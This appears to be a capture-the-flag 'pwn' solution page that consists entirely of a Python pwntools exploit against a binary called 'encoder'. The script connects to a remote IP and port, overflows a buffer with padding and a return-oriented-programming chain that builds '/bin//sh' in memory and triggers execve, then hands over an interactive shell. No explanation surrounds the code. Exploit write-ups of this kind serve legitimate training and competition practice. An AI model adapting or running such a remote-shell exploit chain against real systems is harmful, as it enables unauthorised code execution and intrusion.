Tags: pwn 

Rating:

```
#!/usr/bin/env python

from pwn import *

#r = process("./encoder")
r = remote("54.38.137.181",3333)

payload = 'AAAAZZZZEEEERRRRTTTTYYYYUUUUIIIIOOOOPPPPQQQQSSSSDDDDFFFF'

payload += p32(0x0806eb1a)
payload += p32(0x080ea060)
payload += p32(0x080bb156)
payload += '/bin'
payload += p32(0x0809a46d)
payload += p32(0x0806eb1a)
payload += p32(0x080ea064)
payload += p32(0x080bb156)
payload += '//sh'
payload += p32(0x0809a46d)
payload += p32(0x0806eb1a)
payload += p32(0x080ea068)
payload += p32(0x08054420)
payload += p32(0x0809a46d)
payload += p32(0x080481c9)
payload += p32(0x080ea060)
payload += p32(0x0806eb41)
payload += p32(0x080ea068)
payload += p32(0x080ea060)
payload += p32(0x0806eb1a)
payload += p32(0x080ea068)
payload += p32(0x08054420)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x0807b56f)
payload += p32(0x08049421)

r.recvuntil("encoder!")
r.sendline(payload)
r.interactive()
```